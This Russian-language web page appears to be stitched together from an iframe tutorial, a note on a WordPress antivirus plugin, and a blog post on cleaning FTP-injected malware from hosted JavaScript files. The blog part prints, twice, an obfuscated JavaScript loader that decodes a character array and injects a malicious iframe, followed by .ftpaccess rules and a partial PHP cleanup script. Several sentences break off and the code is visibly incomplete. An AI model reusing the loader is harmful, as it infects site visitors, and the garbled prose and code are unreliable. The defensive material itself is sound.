Iframe и Frame — что это такое и как лучше использовать фреймы в Html. Деплоим и тестим
На заре сайтостроения веб-ресурсы широко использовали фреймы для отображения отдельных частей страниц. Но с приходом новой версии HTML 5 всё изменилось. Элементы разметки <frame >, <frameset > и <noframes > признаны устаревшими. Заменой им стал один-единственный тег - <iframe >. Как добавить в html
Что такое фреймы?
Фрейм - основа большинства первых веб-страниц. Если переводить дословно, данное слово означает «кадр», то есть фрейм представляет собой небольшую часть страницы в браузере. Повсеместное использование фреймов в прошлом можно объяснить низким качеством и дороговизной интернет-трафика. Как правило, сайт разбивался на 3-5 частей, каждая из которых выполняла определённое назначение:
- «шапка» (верхний фрейм по ширине страницы) - отображение название ресурса;
- левый/правый «стакан» - вывод меню;
- центральный фрейм - показ контента сайта.
Разбивка страницы на части позволяла перегрузить лишь некоторую часть при её обновлении. Например, пользователь нажимал пункт меню, и в центральный фрейм закачивалось новое содержимое.
Современные фреймы в HTML 5
Зачем нужен в HTML <iframe >? Пример - вставка контента стороннего ресурса. Классической является ситуация, когда веб-разработчик желает показать положение объекта на карте. Как быть? Отрисовывать план местности с нуля? Нет - есть более простое решение: встроить на страницу элемент Google Map, Яндекс Карты или 2ГИС. Задача решается в четыре действия.
- Нужно перейти на сайт любого картографического сервиса.
- Найти желаемый объект. Зная точный адрес, можно ввести его в окне поиска.
- С помощью кнопки «Сохранить и получить код» (для "Яндекс.Карт") или «Готово» (для карт Google) получить код для вставки.
- Осталось вписать сгенерированные теги разметки на страницу.
Дополнительно можно выбрать размер карты и настроить другие опции отображения.
Как ещё можно использовать в HTML <iframe> ? Пример - вставка видеоматериалов с ресурса Youtube. Мультимедиа-технологии привлекают пользователей Интернета, поэтому видеоконтент столь популярен. С установкой ролика разработчик справится быстро.
- Следует загрузить на Youtube собственное видео или найти сторонний файл для трансляции.
- Получить тег, выбрав кнопку «HTML-код»
- Заключительное действие - вставить в
В обоих примерах использовалась автоматическое формирование кода, но профессиональные разработчики должны уметь сами составлять его. Во-первых, это позволит им разобраться в вёрстке страницы и при необходимости модифицировать её. Во-вторых, не всегда разметка элементов сайта (даже несмотря на то, что они принадлежат внешнему ресурсу), образуется без участия веб-мастера. Вот здесь и проявляется высокая квалификация разработчика.
Синтаксис
Итак, прежде чем приступить к вёрстке страницы, необходимо рассмотреть тег iframe (html): что это такое и как правильно его использовать.
Прежде всего, нужно отметить, что тег парный. Между открывающимся и закрывающимся элементами указывают содержимое, которое будет отображаться в браузерах, не поддерживающих данный элемент разметки. Основные атрибуты тега:
- width (ширина);
- height (высота);
- src (адрес загружаемого ресурса);
- align (способ выравнивания);
- frameborder;
- allowfullscreen.
Таким образом, получен код для
В приведённой разметке достаточно заменить адрес сайта на любой другой и, если это необходимо, скорректировать размеры фрейма.
Проверка сайта на вирусы часто не выявляет iframe вставки, которые могут включать ссылки на сомнительные сайты, но новая версия WP плагина AntiVirus укажет их.
Iframe вставки сами по себе не являются вредоносным кодом, поэтому зачастую не определяются онлайн-сервисами по проверке сайта на вирусы. С помощью Iframe вставок часто загружают файлы, которые могут располагаться на внешнем ресурсе. Например, этот способ может использоваться для загрузки видеоролика на Ваш сайт с You Tube. Но очень часто iframe вставки применяются злоумышленниками для загрузки на сайт жертвы файлов подозрительного содержания.
Я уже писал, что неоднократно сталкивался с явно зараженными сайтами, но их проверка на ресурсе antivirus-alarm.ru с использованием баз данных ведущих антивирусных разработчиков не выявляла ничего подозрительного. Проверка же на 2ip.ru выдавала наличие подозрительных iframe вставок, но без указания конкретного места в коде, где их можно найти. Так же не указывалось, являются ли эти вставки полезными или вредоносными.
Но с выходом последней версии WP плагина ситуация изменилась. По заверению разработчика этот плагин теперь показывает iframe вставки. А Вы уже сами в состоянии будете определить вредны они или нет. Зная, как выглядит iframe вставка:
в случае, если плагин ее обнаружил, по тому, адрес какого ресурса указан в этой вставке, легко определиться к полезной или вредной ее отнести.
В отличие от антивирусов для компьютеров, которые сами находят и сами удаляют вредоносный код, большинство антивирусов для сайта, такие, как AntiVirus, и только находят подозрительный с их точки зрения код. Решение об его удалении и само удаление проводится пользователем. Причем новичкам, не ориентирующимся в PHP, реально поможет только плагин TAC, предназначенный для проверки темы. Мне известен только один плагин , который не только находит, но и удаляет нехороший код. К сожалению, данный плагин обладает одной неприятной особенностью. Если он не справляется с заражением на сайте, то он блокирует доступ к сайту, не спрашивая но это разрешения.
Поэтому не стоит ставить антивирусные плагины, если с Вашим сайтом ничего подозрительного не происходит. Для профилактичекой проверки сайта на вирусы разумнее использовать онлайн-сервисы, упомянутые выше. Только после того, как на этих сервисах было выявлено нечто подозрительное, можно обратиться к плагинам, которые могут помочь конкретизировать место расположения вредоносного кода. Для этого опять же не у всех хватит квалификации. Новичкам будет проще обратиться за помощью к тех. поддержке хостинга.
Львиная доля сайтов заражается после заражения компьютера хозяина. В результате чего похищаются логин и пароль от админ. панели или от хостинга. И лишь небольшая часть заражается в результате взлома. Поэтому наиважнейшей мерой по защите сайта является поддержание безопасности Вашего ПК. Не стоит забывать, что на компьютере помимо должен стоять хороший .
Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет!
А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами .
Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова — пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились.
Пятница недели стала последней каплей и я потратил день на защиту своих серверов:
- Настроил на серверах.ftpaccess — ограничив тем самым доступ по фтп к серверам со всех IP кроме своей статики;
- Написал скрипт автоудаления из всех файлов.js iframe’ов, вирусов. Итак, по порядку.
Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в.php, .html файлы — что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением.js — JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например:
try { q= document.createElement ("u" ) ; q.appendChild (q+ "" ) ; } catch (qw) { h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ; } try { qwe= prototype ; } catch (brebr) { zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h) ? "ode" : "" ; w= this ; e= w[ f.substr (11 ) + zz] ; n= "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [ ((e) ? "s" : "" ) + "p" + "lit" ] ("a$" .substr (1 ) ) ; for (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) { k= i; ss= ss+ String .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) ; } q= ss; e(q) ; } |
try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz="a"+"l";f="fr"+"om"+"Ch";f+="arC";}try{qwe=prototype;}catch(brebr){zz="zv".substr(123-122)+zz;ss=;f+=(h)?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);}
Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов.
Настройка.ftpaccess — ограничиваем доступ по фтп к серверам
Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути — и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл.ftpaccess с содержимым:
Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all
Где xx.xx.xx.xx - это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания.
За выделенным IP звоним провайдеру!
Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так:
Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all
Это позволит ограничить доступ взломщикам к вашим серверам.
Скрипт автоудаления из всех файлов вставок iframe’ов
После того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из.js скриптов:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | $v) { $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ) ; $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ) ; $virus_text = substr ($v , $pos_start , $pos_end ) ; if ($virus_text != "" ) { if (! stristr ($v , $virus_text ) ) { $nfile = $v ; } else { if (! $flag ) { $flag = true ; if (in_array ($ffile , $GLOBALS [ "skip_files" ] ) ) echo " - skipped" ; else { echo " - infected" ; $GLOBALS [ "num_infected" ] ++; } } } } else { $nfile = $v ; } } if ( $GLOBALS [ "del" ] ) { $file = fopen ($filename , "w" ) ; fwrite ($file , implode ($nfile , "" ) ) ; fclose ($file ) ; } } dir_walk("del_virus" , $dir , array ("js" ) , true , $dir ) ; echo "Num infected = $num_infected " ; ?& gt; |
$v) { $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") { if (!stristr($v, $virus_text)) { $nfile=$v; } else { if (!$flag) { $flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - skipped"; else { echo " - infected"; $GLOBALS["num_infected"]++; } } } } else { $nfile=$v; } } if ($GLOBALS["del"]) { $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")); fclose($file); } } dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Num infected = $num_infected "; ?>